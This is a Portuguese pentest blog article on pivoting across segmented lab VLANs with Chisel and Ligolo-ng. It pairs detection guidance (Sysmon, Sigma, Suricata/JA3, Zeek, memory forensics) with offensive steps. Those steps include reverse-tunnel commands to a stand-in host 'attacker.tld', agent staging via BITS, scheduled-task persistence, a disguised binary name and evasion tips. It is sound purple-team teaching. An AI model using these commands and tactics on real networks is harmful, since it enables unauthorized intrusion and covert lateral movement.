Pular para o conteúdo
Atualizado em Categoria: Pentest9 min de leitura

Pivoting com Chisel e Ligolo-ng: Redes Segmentadas em Lab de Pentest

Compartilhar

Por Lucas Andrade ·

Como pivotar entre VLANs usando Chisel e Ligolo-ng em um lab controlado, e quais artefatos a blue team consegue capturar para detectar o tunel reverso.

Pivoting com Chisel e Ligolo-ng: Redes Segmentadas
Neste artigo

Sua shell na DMZ esta valendo zero se voce nao consegue alcancar a VLAN 30 onde o controlador de dominio respira. No nosso lab da Basilisk OffSec montamos exatamente esse cenario: um host Linux exposto na 10.10.1.0/24, um segmento interno 10.10.30.0/24 com Windows 11 e um AD em 10.10.40.0/24. A unica rota possivel passa por aquela maquina pivot, e e ai que Chisel e Ligolo-ng entram como ferramentas complementares. Este guia percorre as duas pelo angulo ofensivo e defensivo, para que voce nao apenas tunele mas entenda o rastro que deixa. Antes de escrever um byte de payload, passe por Pentest Web do Zero: Montando um Lab Seguro com DVWA, Juice Shop e Burp Suite e confirme que o lab esta isolado da sua rede domestica via pfSense.

Entendendo a topologia do lab

Pivoting so faz sentido quando a segmentacao e real. Monte tres VLANs com uma pfSense ou OPNsense no meio, onde as regras de firewall deixam apenas 10.10.1.0/24 chegar na internet e os segmentos internos falam exclusivamente entre si por portas definidas. A maquina pivot tem duas interfaces: uma para a DMZ, outra para 10.10.30.0/24. Sem esse duplo homing nao ha rota, e esse e justamente o ponto do exercicio. Documente a tabela de rotas e as regras de firewall antes de comecar, porque depois voce vai querer saber exatamente qual hop foi legitimo e qual foi seu tunel.

Chisel: SOCKS reverso sobre TLS

Chisel resolve o problema basico: voce tem saida HTTP para um C2, mas a entrada esta fechada. Subindo um servidor Chisel no atacante (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) e o cliente no pivot (chisel client https://attacker.tld:443 R:1080:socks), voce abre um SOCKS5 reverso encapsulado em TLS 443, quase sempre permitido egress. Depois voce aponta ferramentas como proxychains4 para 127.0.0.1:1080 e tunela conexoes TCP individuais. Em testes reais com proxies corporativos Squid e Zscaler medimos menos de 8% de bloqueio quando o certificado carregava um SAN coerente. O padrao tem seu proprio ruido: conexoes HTTP/1.1 Upgrade de vida longa, exatamente o que o fingerprinting JA3 pega.

Ligolo-ng: roteamento por interface TUN

Ligolo-ng eleva a brincadeira porque cria uma interface TUN no atacante e roteia pacotes inteiros, nao so streams TCP via SOCKS. Voce sobe o proxy (./proxy -selfcert -laddr 0.0.0.0:11601), executa o agent no pivot (./agent -connect attacker.tld:11601 -ignore-cert), e dentro do shell do proxy faz session, depois ifconfig e tunnel_start. A partir desse momento, um simples ip route add 10.10.30.0/24 dev ligolo no Kali te deixa rodar nmap, CrackMapExec e ate Impacket sem proxychains. Libertador, sim, mas a superficie de IoC cresce: agora voce empurra ICMP, UDP e TCP pelo pivot, o que casa com as regras de deteccao de Movimento Lateral no Lab: SMB, WMI e WinRM com Foco em Deteccao.

Chisel ou Ligolo: quando cada um

A escolha nao e guerra santa. Chisel e a escolha certa quando voce so precisa alcancar um ou dois servicos TCP, quando portabilidade importa (um binario minusculo que roda em qualquer lugar) e quando voce fica estrito no modelo SOCKS TCP. Ligolo-ng ganha assim que voce precisa de um subnet inteiro, quer tunelar UDP ou ICMP (para nmap -sU ou Kerberos, por exemplo), ou usa ferramentas que se dao mal com proxychains. Em muitos engajamentos o Chisel roda como foothold silencioso e o Ligolo segue quando voce precisa de acesso completo ao segmento. Quem domina os dois escolhe por ruido e necessidade, nao por habito.

Cadeia ofensiva: staging e persistencia

No lado ofensivo, a sequencia que usamos no lab e: acesso inicial via macro Office documentada em Initial Access Simulado: Macros, LNK e ISO em Lab Windows 11 Isolado, shell de teste com beacon Sliver (veja Construindo Infra de C2 com Sliver em Lab Isolado para Estudo Defensivo para o setup), e entao staging do binario Ligolo via Background Intelligent Transfer Service para evitar download direto. O agent vive num diretorio gravavel como C:\Users\Public\Downloads, persistido como scheduled task de baixa prioridade. Detalhe critico: compilar o agent com -ldflags="-s -w" e renomear para svchost-helper.exe nao engana um EDR moderno; Sysmon Event ID 3 acende esse processo alcancando uma porta incomum em segundos quando a regra esta bem escrita.

Defensivo: o que o blue team caca

No lado defensivo, e aqui que o exercicio vira ouro para purple team, voce procura tres coisas. Primeiro, conexoes outbound persistentes para 443/11601 com duracao acima de 30 minutos saindo de hosts que historicamente fazem apenas requisicoes curtas a Microsoft 365. Segundo, processos nao assinados estabelecendo TLS sem usar Wininet ou Schannel (Ligolo usa Go runtime proprio, o que aparece como handshake Schannel ausente). Terceiro, criacao de interfaces TUN/TAP em endpoints Windows, evento raro o suficiente para ancorar uma regra Sigma de alta confianca. Ligue isso ao Threat Hunting com Sigma e Elastic: Do Indicador a Regra de Deteccao e voce tem detection-as-code que sobrevive a muitas formas de pivot.

Heuristica IDS: Suricata e JA3

Logs sao seu juiz. No nosso lab capturamos PCAP no firewall com Suricata em modo IDS, e a heuristica que melhor pegou Ligolo combinou pacote TLS com handshake JA3 fora de allowlist, tamanho medio de pacote entre 1200 e 1400 bytes, e ausencia de SNI para o dominio de destino. Chisel ficou um pouco mais escondido porque imita websocket legitimo, mas vazou pela duracao da sessao e cadencia constante de pacotes. Monte uma regra Suricata que alerta sobre sessoes TLS longas com JA3 desconhecido, e adicione uma notice do Zeek que marca conexoes com alta simetria de bytes (volume similar subida/descida), porque tuneis interativos sao bem mais simetricos que browsing normal.

Forense de memoria no pivot

Para completar a investigacao, puxe uma imagem de memoria do pivot pos-incidente e cruze com Memory Forensics com Volatility 3: Analisando Dumps em Lab Reproduzivel e o plugin netscan; o socket para o C2 e visivel mesmo se o processo foi injetado. Em pivots Linux, linux.pslist mais linux.malfind revelam o processo estranho, e /proc/[pid]/exe mostra que o binario foi apagado mas segue mapeado (sufixo deleted). Esse acompanhamento fecha o loop de purple team: a ofensiva agora sabe qual rastro era inevitavel, a defensiva sabe onde ancorar a deteccao.

Automacao e desmontagem limpa

Um operador maduro scripta montagem e desmontagem em vez de digitar ao vivo. Escreva um pequeno script Bash que sobe o servidor Chisel com cert fixo, verifica o fingerprint JA3 contra sua allowlist e fixa uma janela de execucao apos a qual o tunel fecha sozinho. Para Ligolo, defina as rotas de forma declarativa e remova-as no teardown com ip route del para nao deixar nenhuma interface orfa. Igualmente importante: o kill switch. Um cron que encerra processos do agent fora da janela e apaga a scheduled task evita que um tunel esquecido fique aberto apos o engajamento e vire uma vulnerabilidade real. A desmontagem limpa e parte da etica: voce deixa a rede do cliente exatamente como encontrou, com timestamp documentado de cada mudanca. Automatizar o teardown reduz erro humano e entrega ao blue team uma comparacao limpa de antes e depois para validar as deteccoes.

Erros de OPSEC e armadilhas

Os erros mais comuns: usar uma VPS sem aquecer com certificado fresco (JA3 e idade do cert te entregam), dropar o agent com nome obvio como ligolo.exe, deixar o tunel aberto 24/7 em vez de em janelas, e combinar proxychains com ferramentas UDP que falham em silencio. Alem disso, lembre que uma interface TUN num cliente Windows quase nunca e legitima, entao esse e seu sinal mais barulhento. Se quer ficar silencioso, tunele so as portas necessarias com Chisel e recorra ao Ligolo apenas quando o segmento justificar.

Etica e escopo

Etica e escopo nao sao adendo, sao a fundacao. Tudo isso so faz sentido em ambiente que voce possui, contrato assinado, ou range autorizado tipo HackTheBox Pro Labs e OffSec PG Practice. Documentar comandos exatos, hashes dos binarios e janelas de execucao protege voce e o cliente. Antes de subir Ligolo numa engagement real, revise sua postura pessoal com OPSEC para Pesquisadores de Seguranca: Modelo de Ameaca Pessoal e separe a maquina de pesquisa da do cliente.

Checklist

Versao curta para o runbook: (1) Lab com tres VLANs e pfSense, roteamento documentado. (2) Servidor Chisel com cert valido e envelhecido na 443. (3) Cliente Chisel para servicos TCP pontuais. (4) Proxy Ligolo mais agent, rota so para o subnet necessario. (5) Suricata/Zeek no egress, allowlist JA3. (6) Regra Sigma para TUN/TAP e sessoes TLS longas. (7) Sysmon Event ID 3 em portas incomuns. (8) Dump de memoria pos-incidente com netscan. (9) Tunel so em janelas. (10) Tudo em changelog assinado.

FAQ

Por que nao usar sempre Ligolo em vez de Chisel?

Porque Ligolo e mais barulhento. Uma interface TUN e ICMP/UDP roteado produzem mais sinais distintos que um unico tunel SOCKS TCP. Se voce so precisa de RDP ou SMB num host, Chisel e mais furtivo e portavel. Ligolo e a ferramenta certa quando voce precisa escanear um subnet inteiro ou tunelar protocolos alem de TCP. Escolha por necessidade, nao por preferencia.

Um EDR moderno sempre pega esses tuneis?

Nao garantido, mas a probabilidade sobe com regras limpas. Renomear e strippar o binario ajuda pouco o atacante se o blue team observa comportamento em vez de nomes de arquivo: criacao de TUN, processo nao assinado fazendo TLS, sessao longa simetrica. E exatamente por isso que o objetivo do exercicio e escrever a regra que pega voce.

Conclusao

Takeaway pratico: suba o lab hoje com tres VMs e uma pfSense, deploie Chisel e Ligolo no mesmo dia, e use o resto da semana para escrever a regra Sigma que pega voce. So entao voce entendeu a tecnica de verdade, porque pivoting e metade construcao de tunel e metade saber qual rastro e inevitavel.

Compartilhar

Compartilhar

Leituras relacionadas

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly